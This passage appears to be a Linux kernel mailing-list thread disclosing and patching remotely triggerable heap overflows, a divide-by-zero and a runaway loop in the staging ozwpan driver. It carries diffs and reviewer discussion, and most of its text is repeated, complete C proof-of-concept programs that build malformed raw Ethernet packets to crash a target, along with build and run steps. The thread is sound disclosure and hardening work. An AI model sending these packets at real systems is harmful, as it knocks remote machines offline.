		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp) - 2
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(0),
			.total_size = htole16(0),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

---
 drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

index d434d8c..cd6c63e 100644
@@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
 	case OZ_GET_DESC_RSP: {
 			struct oz_get_desc_rsp *body =
 				(struct oz_get_desc_rsp *)usb_hdr;
-			int data_len = elt->length -
+			u8 data_len = elt->length -
 					sizeof(struct oz_get_desc_rsp) + 1;
+			if (data_len > elt->length)
+				break;
 			u16 offs = le16_to_cpu(get_unaligned(&body->offset));
 			u16 total_size =
 				le16_to_cpu(get_unaligned(&body->total_size));

2.3.6

Using signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"

static int hex2num(char c)

{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])

{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp)
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(2),
			.total_size = htole16(1),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

---
 drivers/staging/ozwpan/ozhcd.c   | 8 ++++----
 drivers/staging/ozwpan/ozusbif.h | 4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

index 5ff4716..784b5ec 100644
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)
 /*
  * Context: softirq
  */
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
-			int length, int offset, int total_size)
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,
+			u8 length, u16 offset, u16 total_size)
 {
 	struct oz_port *port = hport;
 	struct urb *urb;

@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
 	if (!urb)
 		return;
 	if (status == 0) {
-		int copy_len;
-		int required_size = urb->transfer_buffer_length;
+		unsigned int copy_len;
+		unsigned int required_size = urb->transfer_buffer_length;
 
 		if (required_size > total_size)
 			required_size = total_size;

index 4249fa3..d2a6085 100644
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);
 
 /* Confirmation functions.
  */
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status,
-	const u8 *desc, int length, int offset, int total_size);
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status,
+	const u8 *desc, u8 length, u16 offset, u16 total_size);
 void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode,
 	const u8 *data, int data_len);
 

2.3.6

A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module.

=-=-=-=-=-=

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"

static int hex2num(char c)

{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])

{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed)
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

---
 drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

index cd6c63e..2e67956 100644
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
 			struct oz_multiple_fixed *body =
 				(struct oz_multiple_fixed *)data_hdr;
 			u8 *data = body->data;
-			int n = (len - sizeof(struct oz_multiple_fixed)+1)
+			int n;
+			if (!body->unit_size)
+				break;
+			n = (len - sizeof(struct oz_multiple_fixed)+1)
 				/ body->unit_size;
 			while (n--) {
 				oz_hcd_data_ind(usb_ctx->hport, body->endpoint,

2.3.6

The subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module.

=-=-=-=-=-=

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"

static int hex2num(char c)

{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])

{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed) - 3
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 1,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

---
 drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

index 2e67956..934a571 100644
@@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
 			struct oz_multiple_fixed *body =
 				(struct oz_multiple_fixed *)data_hdr;
 			u8 *data = body->data;
-			int n;
+			unsigned int n;
 			if (!body->unit_size)
 				break;
 			n = (len - sizeof(struct oz_multiple_fixed)+1)
 				/ body->unit_size;
+			if (n > len / body->unit_size)
+				break;
 			while (n--) {
 				oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
 					data, body->unit_size);

2.3.6

This is v2 for this patch series, fixing a compiler warning.

The ozwpan driver accepts network packets, parses them, and converts them into various USB functionality. There are numerous security vulnerabilities in the handling of these packets. Two of them result in a memcpy(kernel_buffer, network_packet, -length), one of them is a divide-by-zero, and one of them is a loop that decrements -1 until it's zero.

I've written a very simple proof-of-concept for each one of these vulnerabilities to aid with detecting and fixing them. The general operation of each proof-of-concept code is:

- Load the module with:

    # insmod ozwpan.ko g_net_dev=eth0
  - Compile the PoC with ozprotocol.h from the kernel tree:
    $ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
    $ gcc ./poc.c -o ./poc
  - Run the PoC:
    # ./poc eth0 [mac-address]

These PoCs should also be useful to the maintainers for testing out constructing and sending various other types of malformed packets against which this driver should be hardened.

Please assign CVEs for these vulnerabilities. I believe the first two patches of this set can receive one CVE for both, and the remaining two can receive one CVE each.

On a slightly related note, there are several other vulnerabilities in this driver that are worth looking into. When ozwpan receives a packet, it casts the packet into a variety of different structs, based on the value of type and length parameters inside the packet. When making these casts, and when reading bytes based on this length parameter, the actual length of the packet in the socket buffer is never actually consulted. As such, it's very likely that a packet could be sent that results in the kernel reading memory in adjacent buffers, resulting in an information leak, or from unpaged addresses, resulting in a crash. In the former case, it may be possible with certain message types to actually send these leaked adjacent bytes back to the sender of the packet. So, I'd highly recommend the maintainers of this driver go branch-by-branch from the initial rx function, adding checks to ensure all reads and casts are within the bounds of the socket buffer.

Jason A. Donenfeld (4):
ozwpan: Use proper check to prevent heap overflow
ozwpan: Use unsigned ints to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS

 drivers/staging/ozwpan/ozhcd.c     |  8 ++++----
 drivers/staging/ozwpan/ozusbif.h   |  4 ++--
 drivers/staging/ozwpan/ozusbsvc1.c | 18 ++++++++++++++----
 3 files changed, 20 insertions(+), 10 deletions(-)

2.4.1

Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data.

This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"

static int hex2num(char c)

{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])

{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp) - 2
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(0),
			.total_size = htole16(0),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

---
 drivers/staging/ozwpan/ozusbsvc1.c | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

index d434d8c..35198b9 100644
@@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
 	case OZ_GET_DESC_RSP: {
 			struct oz_get_desc_rsp *body =
 				(struct oz_get_desc_rsp *)usb_hdr;
-			int data_len = elt->length -
+			u16 offs, total_size;
+			u8 data_len;
+
+			data_len = elt->length -
 					sizeof(struct oz_get_desc_rsp) + 1;
-			u16 offs = le16_to_cpu(get_unaligned(&body->offset));
-			u16 total_size =
+			if (data_len > elt->length)
+				break;
+			offs = le16_to_cpu(get_unaligned(&body->offset));
+			total_size =
 				le16_to_cpu(get_unaligned(&body->total_size));
 			oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n");
 			oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,

2.4.1

I know. It's because oz_get_desc_rsp has a 1 byte data member as it's last element, that's just meant as a placeholder for a variable amount of data. elt->length is supposed to be the size of the struct elements plus the total data section, which runs after the struct. But because of this placeholder goofiness, when we take sizeof we have to subtract one.

struct oz_get_desc_rsp {
[... bla bla ...]

        u8      data[1];
} PACKED;

This is sort of horrible, but it is what it is. I'd recommend these security-CRITICAL patches get merged immediately, and then cleaning up other problems with this driver can be addressed after, preferably by the maintainer.

elt->length is a u8, so the upper bound is 255.

Ah thanks. You are right on all counts, let's merge this.

Yes. I know that, but is 255 correct?

regards,
dan carpenter

Eventually body->data is passed to oz_hcd_get_desc_cnf along with data_len. In there, body->data (now called desc) is memcpy'd into a URB transfer buffer. The checks to see if that transfer buffer is big enough are broken and vulnerable, and another patch in this set addresses that. But anyway, AFAIK, the 255 limit works fine for all subsequent types used, after this patch set is applied. The use of a u8 cannot, at this point, be *increased* since this protocol is tied to particular hardware chips sold by Atmel/Ozmo. And I can't see a reason why it should be further bounded either.

Using signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"

static int hex2num(char c)

{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])

{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
